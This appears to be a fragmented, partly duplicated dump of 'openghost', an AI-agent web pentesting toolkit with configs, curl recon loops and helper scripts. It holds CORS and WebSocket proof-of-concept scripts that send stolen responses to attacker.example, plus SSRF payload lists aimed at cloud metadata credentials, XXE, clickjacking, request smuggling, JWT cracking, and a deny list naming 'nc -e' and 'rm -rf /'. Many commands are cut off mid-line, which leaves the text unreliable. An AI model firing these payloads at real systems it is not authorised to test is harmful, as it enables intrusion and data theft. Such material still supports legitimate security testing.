VAIBHAVSING/openghost

codex --instructions "Read skills/openghost-skill/SKILL.md and follow it to pentest https://target.com"

gemini "Read skills/openghost-skill/SKILL.md and run a web pentest on https://target.com"

- name: user_a     privilege: standard     login_url: https://example.com/login

privilege: standard     login_url: https://example.com/login     username_env: OPENGHOST_USER_A_USERNAME

login_url: https://example.com/login

- name: user_b     privilege: standard     login_url: https://example.com/login

privilege: standard     login_url: https://example.com/login     username_env: OPENGHOST_USER_B_USERNAME

login_url: https://example.com/login

- name: admin     privilege: admin     login_url: https://example.com/login

privilege: admin     login_url: https://example.com/login     username_env: OPENGHOST_ADMIN_USERNAME

login_url: https://example.com/login

[Credential-related source omitted]

engagement_id: example-webapp-pentest target_url: https://example.com

target_url: https://example.com

user_agent_marker: openghost-authorized-test   test_record_prefix: openghost-test oob_callback: https://callback.example.test

test_record_prefix: openghost-test oob_callback: https://callback.example.test notes: Replace example values before use.

oob_callback: https://callback.example.test

#!/usr/bin/env bash

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# Use cookies openghost bash 'curl -s -i -b /workspace/.openghost/engagements/<name>/artifacts/auth/user-a.cookies https://<target>/dashboard'

openghost bash 'curl -s -i -b /workspace/.openghost/engagements/<name>/artifacts/auth/user-a.cookies https://<target>/dashboard'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# unauthenticated openghost bash 'curl -s -i https://<target>/api/users/<USER_A_ID>'

openghost bash 'curl -s -i https://<target>/api/users/<USER_A_ID>'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

Check common API doc paths with curl loop.

| rate-limit | request blocked by limits | slow down, use approved lower rate | | cache | stale or shared response | use cache buster, validate cache key | | browser | curl cannot reproduce | use browser automation |

| cache | stale or shared response | use cache buster, validate cache key | | browser | curl cannot reproduce | use browser automation | | second-order | payload stored but not triggered | find render/export/admin trigger |

| browser | curl cannot reproduce | use browser automation |

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

//evil.example https://evil.example

https://evil.example

https://target.example@evil.example

https://target.example.evil.example

/%5cevil.example //evil.example/%2f.. https://evil.example#target.example

//evil.example/%2f.. https://evil.example#target.example https://evil%E3%80%82example

https://evil.example#target.example

https://evil%E3%80%82example

# Common docs and metadata openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration; do echo -n "$p: "; curl -s -o /dev/nul

openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration; do echo -n "$p: "; curl -s -o /dev/null -w "%{http_code}\n" https

# Version discovery openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v; done'

openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v; done'

# JavaScript API mining openghost bash 'curl -s https://<target>/static/app.js | grep -oE "/api/[A-Za-z0-9_./-]+" | sort -u'

openghost bash 'curl -s https://<target>/static/app.js | grep -oE "/api/[A-Za-z0-9_./-]+" | sort -u'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

openghost bash 'for ip in 1.1.1.{1..10}; do curl -s -H "X-Forwarded-For: $ip" -X POST https://<target>/api/login -d "user=test&pass=bad$ip" -o /dev/null -w "$ip %{http_code}\n"; done'

openghost bash 'for p in /graphql /graphiql /gql /query /api/graphql /v1/graphql; do echo -n "$p: "; curl -s -o /dev/null -w "%{http_code}\n" -X POST -H "Content-Type: application/json" -d "{\"query\":\"{__typename}\"}" https://<target>$p; 

openghost bash 'curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"{__schema{types{name,fields{name,type{name kind}}}}}\"}" https://<target>/graphql | jq .'

openghost bash 'curl -s -I -H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGVzdA==" https://<target>/ws'

const ws = new WebSocket('wss://target.example/ws') ws.onopen = () => ws.send('{"action":"getProfile"}') ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data))

ws.onopen = () => ws.send('{"action":"getProfile"}') ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data)) </script>

ws.onmessage = e => fetch('https://attacker.example/log?d=' + encodeURIComponent(e.data))

openghost bash 'for p in /service?wsdl /api?wsdl /soap?wsdl /wsdl; do echo -n "$p "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>$p; done'

[Credential-related source omitted]

# Origin reflection openghost bash 'curl -s -I -H "Origin: https://evil.example" https://<target>/api/user | grep -i "access-control"'

openghost bash 'curl -s -I -H "Origin: https://evil.example" https://<target>/api/user | grep -i "access-control"'

# Null origin openghost bash 'curl -s -I -H "Origin: null" https://<target>/api/user | grep -i "access-control"'

openghost bash 'curl -s -I -H "Origin: null" https://<target>/api/user | grep -i "access-control"'

# Regex/subdomain bypasses openghost bash 'curl -s -I -H "Origin: https://target.example.evil.example" https://<target>/api/user | grep -i "access-control"'

openghost bash 'curl -s -I -H "Origin: https://target.example.evil.example" https://<target>/api/user | grep -i "access-control"'

openghost bash 'curl -s -I -H "Origin: https://evil-target.example" https://<target>/api/user | grep -i "access-control"'

Access-Control-Allow-Origin: https://evil.example

<script> fetch('https://target.example/api/user/profile', {credentials: 'include'})

fetch('https://target.example/api/user/profile', {credentials: 'include'})

.then(r => r.text())   .then(d => fetch('https://attacker.example/log?d=' + encodeURIComponent(d))) </script>

.then(d => fetch('https://attacker.example/log?d=' + encodeURIComponent(d)))

openghost bash 'curl -s -I https://<target> | grep -i content-security-policy'

<!-- JSONP on allowed domain --> <script src="https://allowed.example/jsonp?callback=alert"></script>

<script src="https://allowed.example/jsonp?callback=alert"></script>

<!-- AngularJS gadget if allowed CDN hosts old Angular --> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>

<!-- base-uri gap --> <base href="https://attacker.example/">

<base href="https://attacker.example/">

openghost bash 'for p in / /account /settings /billing /transfer /admin; do echo -n "$p: "; curl -s -I https://<target>$p | grep -iE "(x-frame-options|frame-ancestors)" | tr -d "\r\n"; echo; done'

<body>     <h1>Click to continue</h1>     <iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>

<h1>Click to continue</h1>     <iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>     <button style="position:absolute;top:220px;left:260px">Click

<iframe src="https://target.example/account/delete" style="opacity:0.01;position:absolute;top:80px;left:80px;width:600px;height:400px"></iframe>

<iframe src="https://target.example" sandbox="allow-forms allow-scripts"></iframe>

openghost bash 'curl -s -I https://<target> | grep -iE "(strict-transport|content-security|x-frame|x-content-type|x-xss|referrer-policy|permissions-policy|cross-origin|set-cookie|server|x-powered)"'

openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'

openghost bash 'curl -s https://<target>/account | grep -oE "https?://[^\"'"'"']+" | head'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

url = "https://target.example/api/redeem-coupon"

def send():     r = requests.post(url, json=data, headers=headers, timeout=10)

r = requests.post(url, json=data, headers=headers, timeout=10)

openghost bash 'curl -s -I https://<target>/ | grep -iE "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish|x-fastly|x-akamai|x-sucuri|x-cdn)"'

openghost bash 'printf "POST / HTTP/1.1\r\nHost: <target>\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX" | nc <target> 80'

openghost bash 'curl -s -I "https://<target>/?cb=$(date +%s)" | grep -iE "(x-cache|cf-cache-status|age|vary|x-varnish|via|cache-control)"'

openghost bash 'CB="oghost=$(date +%s)"; curl -s -H "X-Forwarded-Host: evil.example" "https://<target>/?$CB" | grep evil.example'

openghost bash 'CB="oghost=$(date +%s)"; curl -s -H "X-Forwarded-Scheme: http" "https://<target>/?$CB" | head -40'

openghost bash 'curl -s -I -H "Cookie: session=<TEST_COOKIE>" https://<target>/account/settings/oghost.css | grep -iE "(cache|content-type|age)"'

openghost bash 'curl -s https://<target>/account/settings/oghost.css | head -40'

?id=1&id=' OR 1=1-- ?redirect_uri=https://legit.example&redirect_uri=https://evil.example

?redirect_uri=https://legit.example&redirect_uri=https://evil.example

openghost bash 'curl -s -i -H "X-Original-URL: /admin" https://<target>/not-admin | head -80'

openghost run wafw00f https://<target> openghost bash 'curl -s -I https://<target> | grep -iE "(cf-ray|x-sucuri|x-akamai|x-fastly|x-cdn|server)"'

openghost bash 'curl -s -I https://<target> | grep -iE "(cf-ray|x-sucuri|x-akamai|x-fastly|x-cdn|server)"'

openghost bash 'curl -s -I http://<target> | grep -iE "(location|strict-transport)"'

openghost bash 'curl -s -X POST -H "Content-Type: application/json" -d "{\"url\":\"http://<callback-host>/ssrf-test\"}" https://<target>/api/fetch'

AWS IMDSv1: http://169.254.169.254/latest/meta-data/

AWS role creds: http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP: http://metadata.google.internal/computeMetadata/v1/

Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01

DigitalOcean: http://169.254.169.254/metadata/v1/

http://127.0.0.1

http://127.1

http://0

http://2130706433

http://0177.0.0.1

http://0x7f.0.0.1

http://[::1]

http://[::ffff:127.0.0.1]

http://localhost.localdomain

http://localtest.me

http://expected.com@127.0.0.1

http://127.0.0.1#expected.com

http://attacker.example/redirect?to=http://127.0.0.1

dict://127.0.0.1:6379/info gopher://127.0.0.1:6379/_INFO http://127.0.0.1:2375/version

http://127.0.0.1:2375/version

<!-- SSRF via XXE --> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

[Credential-related source omitted]

openghost bash 'curl -s -I -H "Host: attacker.example" https://<target>'

openghost bash 'curl -s -I -H "X-Forwarded-Host: attacker.example" https://<target>'

[Credential-related source omitted]

[Credential-related source omitted]

openghost bash 'curl -s -I https://<target> | grep -iE "(strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy|cross-origin|set-cookie|server|x-powered)"'

openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'

openghost bash 'curl -s -i https://<target>/does-not-exist-$(date +%s) | head -80'

openghost bash 'curl -s -i https://<target>/?debug=true | head -80'

[Credential-related source omitted]

openghost bash 'for p in /admin /console /debug /metrics /server-status /actuator /actuator/env /actuator/heapdump /phpinfo.php /_profiler /wp-admin /manager/html; do echo -n "$p "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>$

# Obtain public key from JWKS or certificate openghost bash 'curl -s https://<target>/.well-known/jwks.json | jq .'

openghost bash 'curl -s https://<target>/.well-known/jwks.json | jq .'

Empty key: /dev/null SQLi: key1' UNION SELECT 'secret'-- SSRF: http://127.0.0.1:8080/key

SQLi: key1' UNION SELECT 'secret'-- SSRF: http://127.0.0.1:8080/key Command injection: key1|id

SSRF: http://127.0.0.1:8080/key

openghost bash 'curl -s https://<auth-host>/.well-known/openid-configuration | jq .'

https://app.example.com.evil.test/callback

https://app.example.com@evil.test/callback

https://app.example.com/callback/../evil

https://app.example.com/callback%2eevil.test

https://app.example.com/callback?next=https://evil.test

https://app.example.com/callback#https://evil.test

http://app.example.com/callback

https://APP.EXAMPLE.COM/callback

https://app.example.com/callback.evil

openghost bash 'curl -s -I https://<target>/login | grep -i set-cookie'

<form action="https://target.example/change-email" method="POST">

openghost run ffuf -u https://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403 openghost bash 'curl -s -o /dev/null -w "%{http_code}\n" https://<target>/admin'

openghost bash 'curl -s -o /dev/null -w "%{http_code}\n" https://<target>/admin'

[Credential-related source omitted]

openghost bash 'for m in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo -n "$m "; curl -s -o /dev/null -w "%{http_code}\n" -X $m https://<target>/admin; done'

openghost bash 'curl -s -X POST -H "X-HTTP-Method-Override: DELETE" https://<target>/api/users/123'

openghost bash 'curl -s "https://crt.sh/?q=%25.<domain>&output=json" | jq -r ".[ ].name_value" | tr "\n" "\n" | sort -u'

[Credential-related source omitted]

# Extract JS files from a page openghost bash 'curl -s https://<target> | grep -oE "https?://[^\"'"'"']+\.js|/[A-Za-z0-9_./-]+\.js" | sort -u'

openghost bash 'curl -s https://<target> | grep -oE "https?://[^\"'"'"']+\.js|/[A-Za-z0-9_./-]+\.js" | sort -u'

# Extract API-like paths from JS openghost bash 'curl -s https://<target>/static/app.js | grep -oE "(/[A-Za-z0-9_.-]+){2,}" | sort -u'

openghost bash 'curl -s https://<target>/static/app.js | grep -oE "(/[A-Za-z0-9_.-]+){2,}" | sort -u'

# Search for possible secrets openghost bash 'curl -s https://<target>/static/app.js | grep -iE "(api[_-]?key|secret|token|client[_-]?id|aws_|private|bearer|authorization)"'

openghost bash 'curl -s https://<target>/static/app.js | grep -iE "(api[_-]?key|secret|token|client[_-]?id|aws_|private|bearer|authorization)"'

openghost bash 'for p in /swagger.json /openapi.json /api-docs /docs /redoc /v2/api-docs /swagger/v1/swagger.json /.well-known/openapi.yaml /.well-known/openid-configuration /graphql /graphiql /service?wsdl; do echo -n "$p: "; curl -s -o /d

openghost bash 'for v in v1 v2 v3 v4 beta old legacy internal; do echo -n "/api/$v/: "; curl -s -o /dev/null -w "%{http_code}\n" https://<target>/api/$v/; done'

# Headers and redirects openghost bash 'curl -s -I https://<target>'

openghost bash 'curl -s -I https://<target>'

- FIRST CVSS v4.0 Specification Document: https://www.first.org/cvss/specification-document

- FIRST CVSS v4.0 User Guide: https://www.first.org/cvss/v4.0/user-guide

**Asset:** https://target.example/path

[Credential-related source omitted]

| `jwt_tool` | `openghost run jwt_tool <JWT>` | JWT analysis and attacks | | `hashcat` | `openghost run hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --quiet` | JWT/HMAC secret cracking, CPU default | | `curl` | `openghost bash 

| `hashcat` | `openghost run hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --quiet` | JWT/HMAC secret cracking, CPU default | | `curl` | `openghost bash 'curl -s -i https://<target>/api'` | Manual HTTP | | `http` | `openghost ru

| `curl` | `openghost bash 'curl -s -i https://<target>/api'` | Manual HTTP |

| `jq` | `openghost bash 'curl -s https://<target>/api | jq .'` | JSON parsing |

openghost bash 'curl -s -i https://<target>/api/users/1' > /tmp/users-1.txt

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

Use `openghost bash` for curl loops, custom parsing, and tool chains inside the sandbox. Avoid destructive filesystem commands, unbounded loops, broad credential attacks, and out-of-scope scans.

- Playwright Python BrowserType options, including proxy and persistent contexts: https://playwright.dev/python/docs/api/class-browsertype

- Playwright tracing: https://playwright.dev/python/docs/trace-viewer

- Playwright network/HAR recording: https://playwright.dev/python/docs/network

- ZAP Docker and packaged scans: https://www.zaproxy.org/docs/docker/

- ZAP Automation Framework: https://www.zaproxy.org/docs/automate/automation-framework/

- ZAP command line: https://www.zaproxy.org/docs/desktop/cmdline/

- ZAP API: https://www.zaproxy.org/docs/desktop/start/features/api/

#!/usr/bin/env python3

#!/usr/bin/env bash

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env bash

#!/usr/bin/env python3

#!/usr/bin/env bash

[Credential-related source omitted]

ALLOWED_TOOLS=(   bash sh python python3   curl wget http jq openssl dig whois nc

bash sh python python3   curl wget http jq openssl dig whois nc   nmap nikto sqlmap nuclei ffuf katana httpx subfinder dnsx

curl wget http jq openssl dig whois nc

'rm -rf /'

'rm -rf /*'

'chmod -R 777 /'

'chmod -R 777 /'   '> /dev/sd'   'nc -e'

'> /dev/sd'   'nc -e'   'ncat -e'

'nc -e'

'nc -e'

'ncat -e'

'ncat -e'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

docker rm -f "$CONTAINER_NAME" >/dev/null

docker rm -f "$CONTAINER_NAME" >/dev/null

docker_exec python3 -c "import base64; exec(base64.b64decode('${encoded}').decode())"

docker_exec python3 -c "import base64; exec(base64.b64decode('${encoded}').decode())"

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

if [[ -n "$query" ]]; then     url="${url}&${query}"   fi

url="${url}&${query}"   fi   docker_exec curl -fsS "$url"

fi   docker_exec curl -fsS "$url" }

docker_exec curl -fsS "$url"

if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then     [[ "$quiet" == "1" ]] || printf 'zap already running: %s\n' "http://127.0.0.1:${port}"

[[ "$quiet" == "1" ]] || printf 'zap already running: %s\n' "http://127.0.0.1:${port}"

[Credential-related source omitted]

for _ in $(seq 1 "$timeout"); do     if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then       [[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"

if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then       [[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"       return 0

[[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"

done   if zap_api_get /JSON/core/view/version/ "" "$port"; then     printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"

if zap_api_get /JSON/core/view/version/ "" "$port"; then     printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"   else

printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

rm -f "$tmp"

status) cmd_zap_status "$@" ;;     stop) cmd_zap_stop "$@" ;;     proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;

stop) cmd_zap_stop "$@" ;;     proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;     baseline) cmd_zap_baseline "$@" ;;

proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;

esac   done   [[ -n "$url" ]] || die 'browser devtools requires --url'

done   [[ -n "$url" ]] || die 'browser devtools requires --url'   if [[ "$use_zap" == "1" ]]; then

[[ -n "$url" ]] || die 'browser devtools requires --url'

if [[ "$use_zap" == "1" ]]; then     zap_start_impl "$ZAP_PORT" "$ZAP_MAX_MEMORY" 60 1     proxy="http://127.0.0.1:${ZAP_PORT}"

zap_start_impl "$ZAP_PORT" "$ZAP_MAX_MEMORY" 60 1     proxy="http://127.0.0.1:${ZAP_PORT}"   fi

proxy="http://127.0.0.1:${ZAP_PORT}"

local args=(python3 "$cscript" --url "$url" --out "$cout" --wait-ms "$wait_ms")

if [[ -n "$proxy" ]]; then

args+=(--proxy "$proxy")

esac   done   [[ -n "$url" ]] || die 'engagement init requires --url'

[[ -n "$url" ]] || die 'engagement init requires --url'

local host   host="$(printf '%s' "$url" | sed -E 's|https?://||;s|/.*||;s|:.*||')"

host="$(printf '%s' "$url" | sed -E 's|https?://||;s|/.*||;s|:.*||')"

state_helper engagement-init --dir "$out" --name "$name" --url "$url" --host "$host"

append_arg_if_set args --finding "$finding"   append_arg_if_set args --module "$module"   append_arg_if_set args --url "$url"

append_arg_if_set args --module "$module"   append_arg_if_set args --url "$url"   append_arg_if_set args --method "$method"

append_arg_if_set args --url "$url"

append_arg_if_set args --module "$module"   append_arg_if_set args --asset "$asset"   append_arg_if_set args --url "$url"

append_arg_if_set args --asset "$asset"   append_arg_if_set args --url "$url"   append_arg_if_set args --method "$method"

append_arg_if_set args --url "$url"

#!/usr/bin/env bash

Executable file

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

#!/usr/bin/env python3

parser.add_argument("--endpoints", nargs="+", default=["/"])     parser.add_argument("--endpoints-file")     parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])

parser.add_argument("--endpoints-file")     parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])     add_common_args(parser)

parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])

#!/usr/bin/env python3

[Credential-related source omitted]

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

if requests is None:         raise OpenGhostError("requests is not installed in the sandbox")     session = requests.Session()

raise OpenGhostError("requests is not installed in the sandbox")     session = requests.Session()     session.headers.update({"User-Agent": DEFAULT_USER_AGENT})

session = requests.Session()

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

if args.check_cors:         parsed = urllib.parse.urlparse(args.target_url)         origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]

parsed = urllib.parse.urlparse(args.target_url)         origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]         for origin in origins:

origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]

#!/usr/bin/env python3

parser = argparse.ArgumentParser(description="Validate WebSocket handshake behavior.")     parser.add_argument("--url", required=True)     parser.add_argument("--origin", default="https://evil.example")

parser.add_argument("--url", required=True)     parser.add_argument("--origin", default="https://evil.example")     parser.add_argument("--header", action="append", help="Extra header as NAME: VALUE.")

parser.add_argument("--origin", default="https://evil.example")

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env bash

bash   curl   http

curl   http   jq